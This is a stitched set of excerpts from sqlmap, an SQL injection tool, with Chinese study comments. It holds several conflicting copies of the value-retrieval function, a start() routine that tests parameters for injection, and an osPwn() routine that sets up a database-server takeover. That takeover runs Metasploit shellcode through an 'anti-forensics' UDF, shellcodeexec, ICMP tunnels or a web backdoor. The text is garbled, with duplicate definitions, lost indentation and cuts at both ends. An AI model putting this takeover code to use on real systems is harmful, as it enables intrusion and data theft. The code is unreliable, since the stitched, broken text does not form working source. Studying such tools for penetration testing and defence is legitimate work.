forgeCaseExpression
if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (
value is None
and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsDomain:
_ = "".join(
filterNone(
key if isTechniqueAvailable(value) else None
for key, value in {
'E': PAYLOAD.TECHNIQUE.ERROR,
'Q': PAYLOAD.TECHNIQUE.QUERY,
'U': PAYLOAD.TECHNIQUE.UNION
}.items()))
warnMsg = "option '--dns-domain' will be ignored "
warnMsg += "as faster techniques are usable "
warnMsg += "(%s) " % _
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(
PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack,
charsetType, firstChar, lastChar,
dump)
count += 1
found = (value is not None) or (
value is None
and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
or isTechniqueAvailable(
PAYLOAD.TECHNIQUE.STACKED)) and not found:
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)",
expression)
kb.responseTimeMode = "%s|%s" % (
match.group(1), match.group(2)) if match else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
setTechnique(PAYLOAD.TECHNIQUE.TIME)
else:
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack,
charsetType, firstChar, lastChar,
dump)
else:
errMsg = "none of the injection types identified can be "
errMsg += "leveraged to retrieve queries output"
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
kb.responseTimeMode = None
conf.tbl = popValue()
conf.db = popValue()
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not any(
(kb.testMode, conf.dummy,
conf.offline)) and value is None and Backend.getDbms(
) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' "
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (
DBMS.ACCESS, DBMS.FIREBIRD) else ""
singleTimeWarnMessage(warnMsg)
# Dirty patch (safe-encoded unicode characters)
if isinstance(value, six.text_type) and "\\x" in value:
try:
candidate = eval(
repr(value).replace("\\\\x", "\\x").replace(
"u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
if "\\x" not in candidate:
value = candidate
except:
pass
return extractExpectedValue(value, expected)
def osPwn(self):
goUdf = False
fallbackToWeb = False
setupSuccess = False
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
while True:
tunnel = readInput(msg, default='1')
if tunnel.isdigit() and int(tunnel) in (1, 2):
tunnel = int(tunnel)
break
else:
warnMsg = "invalid value, valid values are '1' and '2'"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "the tunnel can be established only via TCP when "
debugMsg += "the back-end DBMS is not Windows"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
errMsg = "you need to run sqlmap as an administrator "
errMsg += "if you want to establish an out-of-band ICMP "
errMsg += "tunnel because icmpsh uses raw sockets to "
errMsg += "sniff and craft ICMP packets"
raise SqlmapMissingPrivileges(errMsg)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
errMsg += "http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(sysIgnoreIcmp):
fp = open(sysIgnoreIcmp, "wb")
fp.write("1")
fp.close()
else:
errMsg = "you need to disable ICMP replies by your machine "
errMsg += "system-wide. For example run on Linux/Unix:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "If you miss doing that, you will receive "
errMsg += "information from the database server and it "
errMsg += "is unlikely to receive commands sent from you"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
self.getRemoteTempPath()
if isStackingAvailable() or conf.direct:
web = False
self.initEnv(web=web)
if tunnel == 1:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"
while True:
choice = readInput(msg, default='1')
if choice.isdigit() and int(choice) in (1, 2):
choice = int(choice)
break
else:
warnMsg = "invalid value, valid values are '1' and '2'"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
exitfunc = "thread"
setupSuccess = True
else:
exitfunc = "process"
self.createMsfShellcode(exitfunc=exitfunc,
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
if not goUdf:
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
DBMS.MYSQL) and conf.privEsc:
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if not setupSuccess and Backend.isDbms(
DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
or fallbackToWeb):
web = True
if fallbackToWeb:
infoMsg = "falling back to web backdoor to establish the tunnel"
else:
infoMsg = "going to use a web backdoor to establish the tunnel"
logger.info(infoMsg)
self.initEnv(web=web, forceInit=fallbackToWeb)
if self.webBackdoorUrl:
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
if tunnel == 1:
self.createMsfShellcode(exitfunc="process",
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if setupSuccess:
if tunnel == 1:
self.pwn(goUdf)
elif tunnel == 2:
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session"
raise SqlmapNotVulnerableException(errMsg)
if not conf.cleanup:
self.cleanup(web=web)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
"""
if conf.hexConvert:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
pushValue(conf.db)
pushValue(conf.tbl)
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.upper().startswith("SELECT "):
booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
query = query.replace("DISTINCT ", "")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
try:
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
except SqlmapConnectionException:
if not fallback:
raise
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if not found and fallback:
warnMsg = "something went wrong with full UNION "
warnMsg += "technique (could be because of "
warnMsg += "limitation on retrieved number of entries)"
if " FROM " in query.upper():
warnMsg += ". Falling back to partial UNION technique"
singleTimeWarnMessage(warnMsg)
try:
pushValue(kb.forcePartialUnion)
kb.forcePartialUnion = True
value = _goUnion(query, unpack, dump)
found = (value is not None) or (value is None and expectingNone)
finally:
kb.forcePartialUnion = popValue()
else:
singleTimeWarnMessage(warnMsg)
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsDomain:
_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
warnMsg = "option '--dns-domain' will be ignored "
warnMsg += "as faster techniques are usable "
warnMsg += "(%s) " % _
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
else:
errMsg = "none of the injection types identified can be "
errMsg += "leveraged to retrieve queries output"
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
kb.responseTimeMode = None
conf.tbl = popValue()
conf.db = popValue()
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' "
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
singleTimeWarnMessage(warnMsg)
return extractExpectedValue(value, expected)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
"""
if conf.hexConvert:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.upper().startswith("SELECT "):
booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
query = query.replace("DISTINCT ", "")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsName:
_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
warnMsg = "option '--dns-domain' will be ignored "
warnMsg += "as faster techniques are usable "
warnMsg += "(%s) " % _
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
else:
errMsg = "none of the injection types identified can be "
errMsg += "leveraged to retrieve queries output"
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' or switch '--hex'"
singleTimeWarnMessage(warnMsg)
return extractExpectedValue(value, expected)
def start():#sqlmap 开始检测 get post cookie user-agent
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected这个函数调用一个函数,执行检查URL所有GET、POST、cookie和user-agent参数 们是否动态和SQL注入的影响
"""
if conf.direct: # conf.direct是通过命令行参数："-d" .指定的 通过参数"-d"指定要连接的数据库
initTargetEnv() #初始化目标环境 target.py initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作
setupTargetEnv()
action() # 如果你使用-d选项，那么sqlmap就会直接进入action()函数，连接数据库 . eg：-d "mysql:123123//root:@127.0.0.1:3306/security"
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie))
# 把url,methos,data,cookie加入到kb.targets，这些参数就是由我们输入的
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork" #你没有正确编辑配置文件,设置目标URL,目标列表或谷歌码头
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) #sqlmap总数的**目标
logger.info(infoMsg)
hostCount = 0
for targetUrl, targetMethod, targetData, targetCookie in kb.targets: #循环检测
try:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
initTargetEnv() # initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作
parseTargetUrl() # 此循环先初始化一些一些变量，然后判断之前是否注入过,parseTargetUrl()函数主要完成针对目标网址的解析工作，如获取协议名、路径、端口、请求参数等信息
testSqlInj = False # False 表示注入过 不会执行 injection = checkSqlInjection(place, parameter, value)这句代码
#测试过的url参数信息会保存到kb.testedParams中，所以在进行test之前，会先判断当前的url是否已经test过
if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True # True表示未注入过 执行 injection = checkSqlInjection(place, parameter, value)这句代码
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True # True表示未注入过
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' # SQL注入漏洞已被发现对“% s”。你想跳过此测试涉及吗?[Y / n]
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
else:
message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else ""
if conf.forms:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
if conf.method == HTTPMETHOD.POST:
message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
elif conf.method == HTTPMETHOD.GET:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1:]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
else:
message += "\ndo you want to test this URL? [Y/n/q]" #你想测试这个URL ?[Y / n / q]
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv() # setupTargetEnv()函数中包含了5个函数 都不可或缺，将get或post发送的数据解析成字典形式，并保存到conf.paramDict中
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
continue
if conf.checkWaf:
checkWaf() #是检测是否有WAF
if conf.identifyWaf: #sqlmap的参数–identify-waf
identifyWaf() # 进入identifyWaf()函数
if conf.nullConnection:
checkNullConnection()
#提取url中的参数信息，并将其传递给checkSqlInjection函数
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
#判断是否注入过，如果还没有测试过参数是否可以注入，则进入if语句中。如果之前测试过，则不会进入此语句
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display 注意:这是不需要了,只留下显示
# a warning message to the user in case the page is not stable 一条警告消息给用户的页面是不稳定的
checkStability()
# Do a little prioritization reorder of a testable parameter list 做一个可测试的参数列表的优先级排序
parameters = conf.parameters.keys()
# Order of testing list (first to last) #测试顺序列表(第一个)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if #只有测试用户代理和推荐人头
# --level >= 3 级别>=3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Host header only if 仅有主机头
# --level >= 5 级别>=5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2 #只有cookie 级别>=2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))
if skip:
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True # True表示未注入过
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False # False 表示注入过
infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False # False 表示注入过
infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif parameter in conf.skip:
testSqlInj = False # False 表示注入过
infoMsg = "skipping %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS:
testSqlInj = False # False 表示注入过
infoMsg = "ignoring %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
check = checkDynParam(place, parameter, value) #checkDynParam()函数会判断参数是否是动态的
if not check:
warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter) #参数没有出现动态的
logger.warn(warnMsg)
else:
infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) #参数出现动态的
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:# sql注入测试
check = heuristicCheckSqlInjection(place, parameter)#启发性sql注入测试，其实就是先进行一个简单的测试
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % place
infoMsg += "parameter '%s'" % parameter #在 **参数测试SQL注入**”
logger.info(infoMsg)
#判断testSqlInj,如果为true，就代表之前没有检测过，然后就会到checkSqlInjection，checkSqlInjection()才是真正开始测试的函数，传入的参数是注入方法如GET，参数名，参数值
injection = checkSqlInjection(place, parameter, value) #这里开始执行sql注入，当testSqlInj = False的时候，不会执行
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C) #如果当用户想要检测阶段(Ctrl + C)
if not proceed:
break
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "# **参数是脆弱的。你想要测试其他的(如果有的话)?[y / N]
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable" # **参数是不可注入的
logger.warn(warnMsg)
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data " #没有发现参数提供的测试数据
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" # 例子
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters appear to be not injectable." #所有测试参数似乎不是注射
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase '--level'/'--risk' values "
errMsg += "to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'." #重新运行没有提供选项
if not conf.textOnly and kb.originalPage:
percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)." #请重试开关”——text-only(along with --technique=BU),这种情况下看起来像一个完美的候选人(低文本内容以及比较引擎无法检测至少一个动态参数)
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries." #作为启发式测试结果积极强烈建议你继续测试。请考虑使用篡改脚本作为你的目标可能过滤查询。
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')" #此外,你可以尝试重新运行通过提供一个有效的价值选择
elif conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses" #此外,你可以尝试重新运行选项通过提供一个有效的值,字符串的字符串可能你选择不匹配完全真实的反应
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses" #此外,你可以尝试重新运行通过提供一个有效的值选项“- regexp”也许你选择了不匹配的正则表达式完全真实的反应
raise SqlmapNotVulnerableException(errMsg)
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile() #保存结果
_saveToHashDB() #保存session
_showInjections() #显示注入结果，包括类型，payload
_selectInjection() #
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
action() #此函数是判断用户提供的参数
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
return False
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
raise
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException, ex:
errMsg = getUnicode(ex.message)
if conf.multipleTargets:
